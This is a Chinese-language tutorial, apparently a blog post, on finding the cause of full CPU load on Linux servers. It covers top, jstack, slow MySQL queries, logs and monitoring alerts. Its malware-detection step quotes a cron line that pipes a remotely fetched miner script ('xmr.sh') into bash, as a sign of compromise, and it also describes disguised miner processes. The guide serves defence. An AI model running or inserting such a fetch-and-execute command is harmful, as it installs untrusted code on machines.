你的网站突然卡成PPT,后台一看CPU直接干到100%?别急着敲reboot——这就像闻到焦味就拔插头,火灭了,但灶上那锅烧干的水你永远不知道是哪一刻开始冒烟的。

先稳住,打开终端,我们一条命令一条命令地找。

第一步:先别重启,立刻抓取现场快照

CPU飙高时第一反应是重启?停手。你真正需要的不是“恢复”,而是“证据”。

马上登录服务器,敲:

top

1 看各核心负载,按 P 按CPU使用率排序。盯住最上面那三五个进程:是 javaphp-fpmmysqld?还是个叫 update.sh 的陌生名字?

记下它的 PID(最左列数字)和完整命令行(COMMAND 列可能被截断,按 c 键展开看全)。

接着补一刀:

ps aux | grep -v grep | grep [PID]

[PID] 替换成你刚记下的数字。这能看清它是谁启动的、跑在哪个用户下、用了多少内存、启动参数长啥样。

我见过最典型的“隐形凶手”:一个每5分钟跑一次的清理脚本,因为路径写错,每次执行都失败但不退出,子进程越积越多,最后CPU被拖垮。要是没记下父进程ID(PPID),重启后连日志都没处翻。

真实案例:某本地生活平台,每天晚8点准时变慢。运维习惯性重启,问题次日复现。后来要求值班同事在卡顿时立刻截图 topps aux 输出。发现一个 convert 进程(ImageMagick)长期霸占单核。一查日志,是用户上传了200MB的扫描件PDF,系统试图转成缩略图,结果卡死在解码环节,后面请求全堆在队列里。

第二步:深入分析“元凶”进程在做什么

确认是 Java 进程占 CPU?别猜,直接“提审”。

先用 top 找到它的 PID,再执行:

top -H -p [PID]

这会列出该Java进程下所有线程的CPU占用。找到那个数值最高的线程PID(注意:这是操作系统级线程ID,十进制)。

把它转成十六进制(Linux下可用 printf "%x\n" [线程PID]),然后导出线程快照:

jstack -l [PID] > jstack.log

打开 jstack.log,搜索你刚算出的十六进制ID。匹配到的那一段,就是正在疯狂吃CPU的线程堆栈。

重点看两处:

  • 线程状态是不是 RUNNABLE(不是 WAITINGBLOCKED)?
  • 堆栈最顶上几行是不是在反复调某个方法?比如 JSONObject.parse()String.replaceAll()、或者一个没设退出条件的 while(true)

常见情况:有次发现一个订单导出接口,每次请求都会新建一个 ObjectMapper 实例,而这个实例初始化要加载上百个模块——接口QPS一上来,CPU就拉满。改成 Spring Bean 单例注入后,问题消失。

第三步:数据库很可能是幕后黑手

如果 topmysqldpostgres 排第一,别怪应用,先查SQL。

连上数据库,执行:

SHOW PROCESSLIST;

或(MySQL 5.7+):

SELECT ID, USER, HOST, DB, COMMAND, TIME, STATE, INFO 
FROM information_schema.PROCESSLIST 
WHERE TIME > 30 AND COMMAND != 'Sleep';

重点关注 TIME 超30秒、STATESending data / Sorting result / Copying to tmp table 的那些。

挑出最可疑的一条,前面加 EXPLAIN 再执行一遍:

EXPLAIN SELECT * FROM orders WHERE user_id = ? AND status = 'paid';

看输出里的 type 字段:

  • ALL?说明全表扫描,赶紧加索引。
  • rows 数百万?哪怕有索引,也可能选错了字段顺序。
  • 出现 Using filesortUsing temporary?说明排序/分组没走索引。

真实案例:某CMS后台管理页,每次打开都触发一条 SELECT * FROM posts 查询。表有300万条记录,又没加 LIMIT。开发以为“只是查后台,影响不大”,结果定时任务一并发调用,MySQL CPU直接锁死。加了 WHERE created_at > DATE_SUB(NOW(), INTERVAL 7 DAY) 后,负载回落。

第四步:检查系统日志和恶意进程

有些“高CPU”根本不是你的服务干的——是别人偷偷塞进来的。

先快速扫一眼有没有异常:

tail -30 /var/log/messages
# 或 Ubuntu 系统:
tail -30 /var/log/syslog

重点搜 Failed passwordAccepted publickeysystemd[1]: Started 后面跟着不认识的服务名。

再看那个高CPU进程打开了什么:

lsof -p [PID]

如果看到它连着境外IP、或者打开了 /tmp/.X11-unix/ 下的奇怪socket,基本可以确定是挖矿程序。

顺手检查定时任务:

crontab -l
ls -la /etc/cron* /var/spool/cron/

尤其注意 /etc/cron.d/ 下有没有名字像 sysupdatewatchdog 的文件,内容里藏着 curl http://.../xmr.sh | bash 这种。

一个简单有效的命令

ps aux --sort=-%cpu | head -20

配合 ls -l /proc/[PID]/exe 查进程真实路径(很多木马会伪装成 kthreadd,但实际路径在 /tmp/dev/shm)。之前帮朋友查一台跳板机,就靠这招揪出一个藏在 /dev/shm/.logd 的门罗币矿工。

第五步:如何监控与设置预警?

等CPU打满才出手,等于等房子烧穿了才想起灭火器在哪。

你现在就在用的工具,大概率已经装了 netdatahtop——它们都能实时看CPU,但缺个“提前喊你”的功能。

如果你用的是阿里云ECS、腾讯云CVM,直接打开云控制台的「云监控」页面,找到对应实例,开启「CPU使用率」报警规则:

  • 触发条件:过去5分钟平均值 > 75%
  • 通知方式:勾选你常用的钉钉群机器人(别用邮件,容易漏看)

不需要装Prometheus,不用配Grafana。云厂商的监控Agent早就跑在你机器上了,就差你点几下。

如果公司自建Zabbix或夜莺(Nightingale),也一样——去告警策略里加一条“CPU持续超阈值”,关联你负责的业务标签。关键是:让告警消息出现在你刷钉钉的间隙里,而不是凌晨三点弹窗吓醒你

今天下班前就能做的一个具体操作

现在,请打开你负责的、最重要的那台服务器的 SSH。别等出问题,现在就做:

  1. 输入 top,按 1 看各核心负载,按 q 退出;
  2. 输入 ps aux --sort=-%cpu | head -10,扫一眼前10名,确认都是你认识的进程;
  3. 找到你的主应用进程(比如 javanode),记下它的 PID;
  4. 如果是 Java,输入 jstack [PID] | head -50(只看前50行,避免卡住);
  5. 登录数据库,运行 SHOW PROCESSLIST;,快速过一遍有没有 Time 超60秒的;
  6. 最后,输入 tail -20 /var/log/messages,看看最近有没有 systemd 启动异常服务的记录。

全程5分钟。把这6条命令复制粘贴到你的终端,再复制一份存进企业微信「我的收藏」里。下次告警一响,你手指不用思考,就能顺着这条路径摸到根上。